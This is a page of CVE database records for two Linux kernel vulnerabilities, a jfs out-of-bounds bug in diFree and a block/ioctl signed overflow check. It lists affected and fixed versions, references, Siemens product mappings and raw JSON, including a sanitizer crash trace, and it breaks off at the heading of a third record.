CVE-2024-43858 (GCVE-0-2024-43858)

Vulnerability from cvelistv5 – Published: 2024-08-17 09:24 – Updated: 2026-05-12 11:56

Title

jfs: Fix array-index-out-of-bounds in diFree

Summary

In the Linux kernel, the following vulnerability has been resolved: jfs: Fix array-index-out-of-bounds in diFree

Severity ?

No CVSS data available.

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/55b732c8b09b41148…
https://git.kernel.org/stable/c/9b3a4345957f53720…
https://git.kernel.org/stable/c/538a27c8048f081a5…
https://git.kernel.org/stable/c/63f7fdf733add82f1…
https://git.kernel.org/stable/c/8d8f9a477de0d7962…
https://git.kernel.org/stable/c/ff14eadc278663cac…
https://git.kernel.org/stable/c/6aa6892a90a5a7fab…
https://git.kernel.org/stable/c/f73f969b2eb39ad80…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 55b732c8b09b41148eaab2fa8e31b0af47671e00 (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 9b3a4345957f5372041bc4f59de322f62653e862 (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 538a27c8048f081a5ddd286f886eb986fbbc7f80 (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 63f7fdf733add82f126ea00e2e48f6eba15ac4b9 (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 8d8f9a477de0d7962342eedf2a599215b7c63d28 (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < ff14eadc278663cac69d57d3ca7fb2f394e1f8a7 (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 6aa6892a90a5a7fabffe5692ab9f06a7a46c6e42 (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < f73f969b2eb39ad8056f6c7f3a295fa2f85e313a (git)
Linux	Linux	Affected: 2.6.12 Unaffected: 0 , < 2.6.12 (semver) Unaffected: 4.19.320 , ≤ 4.19.* (semver) Unaffected: 5.4.282 , ≤ 5.4.* (semver) Unaffected: 5.10.224 , ≤ 5.10.* (semver) Unaffected: 5.15.165 , ≤ 5.15.* (semver) Unaffected: 6.1.103 , ≤ 6.1.* (semver) Unaffected: 6.6.44 , ≤ 6.6.* (semver) Unaffected: 6.10.3 , ≤ 6.10.* (semver) Unaffected: 6.11 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-43858",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-09-10T16:07:01.781226Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-09-12T17:33:20.278Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T22:05:59.215Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2024/10/msg00003.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:56:59.816Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "fs/jfs/jfs_imap.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "55b732c8b09b41148eaab2fa8e31b0af47671e00",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "9b3a4345957f5372041bc4f59de322f62653e862",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "538a27c8048f081a5ddd286f886eb986fbbc7f80",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "63f7fdf733add82f126ea00e2e48f6eba15ac4b9",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "8d8f9a477de0d7962342eedf2a599215b7c63d28",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "ff14eadc278663cac69d57d3ca7fb2f394e1f8a7",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "6aa6892a90a5a7fabffe5692ab9f06a7a46c6e42",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "f73f969b2eb39ad8056f6c7f3a295fa2f85e313a",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "fs/jfs/jfs_imap.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "2.6.12"
            },
            {
              "lessThan": "2.6.12",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.320",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.282",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.224",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.165",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.103",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.44",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.10.*",
              "status": "unaffected",
              "version": "6.10.3",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.11",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.320",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.282",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.224",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.165",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.103",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.44",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10.3",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.11",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\njfs: Fix array-index-out-of-bounds in diFree"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:31:10.981Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/55b732c8b09b41148eaab2fa8e31b0af47671e00"
        },
        {
          "url": "https://git.kernel.org/stable/c/9b3a4345957f5372041bc4f59de322f62653e862"
        },
        {
          "url": "https://git.kernel.org/stable/c/538a27c8048f081a5ddd286f886eb986fbbc7f80"
        },
        {
          "url": "https://git.kernel.org/stable/c/63f7fdf733add82f126ea00e2e48f6eba15ac4b9"
        },
        {
          "url": "https://git.kernel.org/stable/c/8d8f9a477de0d7962342eedf2a599215b7c63d28"
        },
        {
          "url": "https://git.kernel.org/stable/c/ff14eadc278663cac69d57d3ca7fb2f394e1f8a7"
        },
        {
          "url": "https://git.kernel.org/stable/c/6aa6892a90a5a7fabffe5692ab9f06a7a46c6e42"
        },
        {
          "url": "https://git.kernel.org/stable/c/f73f969b2eb39ad8056f6c7f3a295fa2f85e313a"
        }
      ],
      "title": "jfs: Fix array-index-out-of-bounds in diFree",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-43858",
    "datePublished": "2024-08-17T09:24:27.976Z",
    "dateReserved": "2024-08-17T09:11:59.279Z",
    "dateUpdated": "2026-05-12T11:56:59.816Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-41000 (GCVE-0-2024-41000)

Vulnerability from cvelistv5 – Published: 2024-07-12 12:37 – Updated: 2026-05-12 11:56

Title

block/ioctl: prefer different overflow check

Summary

In the Linux kernel, the following vulnerability has been resolved: block/ioctl: prefer different overflow check Running syzkaller with the newly reintroduced signed integer overflow sanitizer shows this report: [ 62.982337] ------------[ cut here ]------------ [ 62.985692] cgroup: Invalid name [ 62.986211] UBSAN: signed-integer-overflow in ../block/ioctl.c:36:46 [ 62.989370] 9pnet_fd: p9_fd_create_tcp (7343): problem connecting socket to 127.0.0.1 [ 62.992992] 9223372036854775807 + 4095 cannot be represented in type 'long long' [ 62.997827] 9pnet_fd: p9_fd_create_tcp (7345): problem connecting socket to 127.0.0.1 [ 62.999369] random: crng reseeded on system resumption [ 63.000634] GUP no longer grows the stack in syz-executor.2 (7353): 20002000-20003000 (20001000) [ 63.000668] CPU: 0 PID: 7353 Comm: syz-executor.2 Not tainted 6.8.0-rc2-00035-gb3ef86b5a957 #1 [ 63.000677] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014 [ 63.000682] Call Trace: [ 63.000686] <TASK> [ 63.000731] dump_stack_lvl+0x93/0xd0 [ 63.000919] __get_user_pages+0x903/0xd30 [ 63.001030] __gup_longterm_locked+0x153e/0x1ba0 [ 63.001041] ? _raw_read_unlock_irqrestore+0x17/0x50 [ 63.001072] ? try_get_folio+0x29c/0x2d0 [ 63.001083] internal_get_user_pages_fast+0x1119/0x1530 [ 63.001109] iov_iter_extract_pages+0x23b/0x580 [ 63.001206] bio_iov_iter_get_pages+0x4de/0x1220 [ 63.001235] iomap_dio_bio_iter+0x9b6/0x1410 [ 63.001297] __iomap_dio_rw+0xab4/0x1810 [ 63.001316] iomap_dio_rw+0x45/0xa0 [ 63.001328] ext4_file_write_iter+0xdde/0x1390 [ 63.001372] vfs_write+0x599/0xbd0 [ 63.001394] ksys_write+0xc8/0x190 [ 63.001403] do_syscall_64+0xd4/0x1b0 [ 63.001421] ? arch_exit_to_user_mode_prepare+0x3a/0x60 [ 63.001479] entry_SYSCALL_64_after_hwframe+0x6f/0x77 [ 63.001535] RIP: 0033:0x7f7fd3ebf539 [ 63.001551] Code: 28 00 00 00 75 05 48 83 c4 28 c3 e8 f1 14 00 00 90 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 b8 ff ff ff f7 d8 64 89 01 48 [ 63.001562] RSP: 002b:00007f7fd32570c8 EFLAGS: 00000246 ORIG_RAX: 0000000000000001 [ 63.001584] RAX: ffffffffffffffda RBX: 00007f7fd3ff3f80 RCX: 00007f7fd3ebf539 [ 63.001590] RDX: 4db6d1e4f7e43360 RSI: 0000000020000000 RDI: 0000000000000004 [ 63.001595] RBP: 00007f7fd3f1e496 R08: 0000000000000000 R09: 0000000000000000 [ 63.001599] R10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000000 [ 63.001604] R13: 0000000000000006 R14: 00007f7fd3ff3f80 R15: 00007ffd415ad2b8 ... [ 63.018142] ---[ end trace ]--- Historically, the signed integer overflow sanitizer did not work in the kernel due to its interaction with `-fwrapv` but this has since been changed [1] in the newest version of Clang; It was re-enabled in the kernel with Commit 557f8c582a9ba8ab ("ubsan: Reintroduce signed overflow sanitizer"). Let's rework this overflow checking logic to not actually perform an overflow during the check itself, thus avoiding the UBSAN splat. [1]: https://github.com/llvm/llvm-project/pull/82432

Severity ?

No CVSS data available.

Assigner

Linux

References

6 references

URL	Tags
https://git.kernel.org/stable/c/58706e482bf45c4db…
https://git.kernel.org/stable/c/3220c90f4dbdc6d20…
https://git.kernel.org/stable/c/61ec76ec930709b7b…
https://git.kernel.org/stable/c/fd841ee01fb4a79cb…
https://git.kernel.org/stable/c/54160fb1db2de3674…
https://git.kernel.org/stable/c/ccb326b5f9e623eb7…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 8f6dfa1f1efe6dcca2d43e575491d8fcbe922f62 , < 58706e482bf45c4db48b0c53aba2468c97adda24 (git) Affected: 5010c27120962c85d2f421d2cf211791c9603503 , < 3220c90f4dbdc6d20d0608b164d964434a810d66 (git) Affected: ef31cc87794731ffcb578a195a2c47d744e25fb8 , < 61ec76ec930709b7bcd69029ef1fe90491f20cf9 (git) Affected: cb16cc1abda18a9514106d2ac8c8d7abc0be5ed8 , < fd841ee01fb4a79cb7f5cc424b5c96c3a73b2d1e (git) Affected: 6f64f866aa1ae6975c95d805ed51d7e9433a0016 , < 54160fb1db2de367485f21e30196c42f7ee0be4e (git) Affected: 6f64f866aa1ae6975c95d805ed51d7e9433a0016 , < ccb326b5f9e623eb7f130fbbf2505ec0e2dcaff9 (git) Affected: bcdc288e7bc008daf38ef0401b53e4a8bb61bbe5 (git)
Linux	Linux	Affected: 6.8 Unaffected: 0 , < 6.8 (semver) Unaffected: 5.10.221 , ≤ 5.10.* (semver) Unaffected: 5.15.162 , ≤ 5.15.* (semver) Unaffected: 6.1.96 , ≤ 6.1.* (semver) Unaffected: 6.6.36 , ≤ 6.6.* (semver) Unaffected: 6.9.7 , ≤ 6.9.* (semver) Unaffected: 6.10 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T21:59:02.815Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/58706e482bf45c4db48b0c53aba2468c97adda24"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/3220c90f4dbdc6d20d0608b164d964434a810d66"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/61ec76ec930709b7bcd69029ef1fe90491f20cf9"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/fd841ee01fb4a79cb7f5cc424b5c96c3a73b2d1e"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/54160fb1db2de367485f21e30196c42f7ee0be4e"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/ccb326b5f9e623eb7f130fbbf2505ec0e2dcaff9"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-41000",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-09-10T17:01:19.374759Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-09-11T17:34:19.237Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:56:08.371Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-613116.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-355557.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "block/ioctl.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "58706e482bf45c4db48b0c53aba2468c97adda24",
              "status": "affected",
              "version": "8f6dfa1f1efe6dcca2d43e575491d8fcbe922f62",
              "versionType": "git"
            },
            {
              "lessThan": "3220c90f4dbdc6d20d0608b164d964434a810d66",
              "status": "affected",
              "version": "5010c27120962c85d2f421d2cf211791c9603503",
              "versionType": "git"
            },
            {
              "lessThan": "61ec76ec930709b7bcd69029ef1fe90491f20cf9",
              "status": "affected",
              "version": "ef31cc87794731ffcb578a195a2c47d744e25fb8",
              "versionType": "git"
            },
            {
              "lessThan": "fd841ee01fb4a79cb7f5cc424b5c96c3a73b2d1e",
              "status": "affected",
              "version": "cb16cc1abda18a9514106d2ac8c8d7abc0be5ed8",
              "versionType": "git"
            },
            {
              "lessThan": "54160fb1db2de367485f21e30196c42f7ee0be4e",
              "status": "affected",
              "version": "6f64f866aa1ae6975c95d805ed51d7e9433a0016",
              "versionType": "git"
            },
            {
              "lessThan": "ccb326b5f9e623eb7f130fbbf2505ec0e2dcaff9",
              "status": "affected",
              "version": "6f64f866aa1ae6975c95d805ed51d7e9433a0016",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "bcdc288e7bc008daf38ef0401b53e4a8bb61bbe5",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "block/ioctl.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "6.8"
            },
            {
              "lessThan": "6.8",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.221",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.162",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.96",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.36",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.9.*",
              "status": "unaffected",
              "version": "6.9.7",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.10",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.221",
                  "versionStartIncluding": "5.10.215",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.162",
                  "versionStartIncluding": "5.15.148",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.96",
                  "versionStartIncluding": "6.1.75",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.36",
                  "versionStartIncluding": "6.6.14",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9.7",
                  "versionStartIncluding": "6.8",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10",
                  "versionStartIncluding": "6.8",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "6.7.2",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nblock/ioctl: prefer different overflow check\n\nRunning syzkaller with the newly reintroduced signed integer overflow\nsanitizer shows this report:\n\n[   62.982337] ------------[ cut here ]------------\n[   62.985692] cgroup: Invalid name\n[   62.986211] UBSAN: signed-integer-overflow in ../block/ioctl.c:36:46\n[   62.989370] 9pnet_fd: p9_fd_create_tcp (7343): problem connecting socket to 127.0.0.1\n[   62.992992] 9223372036854775807 + 4095 cannot be represented in type \u0027long long\u0027\n[   62.997827] 9pnet_fd: p9_fd_create_tcp (7345): problem connecting socket to 127.0.0.1\n[   62.999369] random: crng reseeded on system resumption\n[   63.000634] GUP no longer grows the stack in syz-executor.2 (7353): 20002000-20003000 (20001000)\n[   63.000668] CPU: 0 PID: 7353 Comm: syz-executor.2 Not tainted 6.8.0-rc2-00035-gb3ef86b5a957 #1\n[   63.000677] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014\n[   63.000682] Call Trace:\n[   63.000686]  \u003cTASK\u003e\n[   63.000731]  dump_stack_lvl+0x93/0xd0\n[   63.000919]  __get_user_pages+0x903/0xd30\n[   63.001030]  __gup_longterm_locked+0x153e/0x1ba0\n[   63.001041]  ? _raw_read_unlock_irqrestore+0x17/0x50\n[   63.001072]  ? try_get_folio+0x29c/0x2d0\n[   63.001083]  internal_get_user_pages_fast+0x1119/0x1530\n[   63.001109]  iov_iter_extract_pages+0x23b/0x580\n[   63.001206]  bio_iov_iter_get_pages+0x4de/0x1220\n[   63.001235]  iomap_dio_bio_iter+0x9b6/0x1410\n[   63.001297]  __iomap_dio_rw+0xab4/0x1810\n[   63.001316]  iomap_dio_rw+0x45/0xa0\n[   63.001328]  ext4_file_write_iter+0xdde/0x1390\n[   63.001372]  vfs_write+0x599/0xbd0\n[   63.001394]  ksys_write+0xc8/0x190\n[   63.001403]  do_syscall_64+0xd4/0x1b0\n[   63.001421]  ? arch_exit_to_user_mode_prepare+0x3a/0x60\n[   63.001479]  entry_SYSCALL_64_after_hwframe+0x6f/0x77\n[   63.001535] RIP: 0033:0x7f7fd3ebf539\n[   63.001551] Code: 28 00 00 00 75 05 48 83 c4 28 c3 e8 f1 14 00 00 90 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 \u003c48\u003e 3d 01 f0 ff ff 73 01 c3 48 c7 c1 b8 ff ff ff f7 d8 64 89 01 48\n[   63.001562] RSP: 002b:00007f7fd32570c8 EFLAGS: 00000246 ORIG_RAX: 0000000000000001\n[   63.001584] RAX: ffffffffffffffda RBX: 00007f7fd3ff3f80 RCX: 00007f7fd3ebf539\n[   63.001590] RDX: 4db6d1e4f7e43360 RSI: 0000000020000000 RDI: 0000000000000004\n[   63.001595] RBP: 00007f7fd3f1e496 R08: 0000000000000000 R09: 0000000000000000\n[   63.001599] R10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000000\n[   63.001604] R13: 0000000000000006 R14: 00007f7fd3ff3f80 R15: 00007ffd415ad2b8\n...\n[   63.018142] ---[ end trace ]---\n\nHistorically, the signed integer overflow sanitizer did not work in the\nkernel due to its interaction with `-fwrapv` but this has since been\nchanged [1] in the newest version of Clang; It was re-enabled in the\nkernel with Commit 557f8c582a9ba8ab (\"ubsan: Reintroduce signed overflow\nsanitizer\").\n\nLet\u0027s rework this overflow checking logic to not actually perform an\noverflow during the check itself, thus avoiding the UBSAN splat.\n\n[1]: https://github.com/llvm/llvm-project/pull/82432"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:24:05.498Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/58706e482bf45c4db48b0c53aba2468c97adda24"
        },
        {
          "url": "https://git.kernel.org/stable/c/3220c90f4dbdc6d20d0608b164d964434a810d66"
        },
        {
          "url": "https://git.kernel.org/stable/c/61ec76ec930709b7bcd69029ef1fe90491f20cf9"
        },
        {
          "url": "https://git.kernel.org/stable/c/fd841ee01fb4a79cb7f5cc424b5c96c3a73b2d1e"
        },
        {
          "url": "https://git.kernel.org/stable/c/54160fb1db2de367485f21e30196c42f7ee0be4e"
        },
        {
          "url": "https://git.kernel.org/stable/c/ccb326b5f9e623eb7f130fbbf2505ec0e2dcaff9"
        }
      ],
      "title": "block/ioctl: prefer different overflow check",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-41000",
    "datePublished": "2024-07-12T12:37:41.189Z",
    "dateReserved": "2024-07-12T12:17:45.608Z",
    "dateUpdated": "2026-05-12T11:56:08.371Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-42302 (GCVE-0-2024-42302)

Vulnerability from cvelistv5 – Published: 2024-08-17 09:09 – Updated: 2026-05-12 11:56

Title

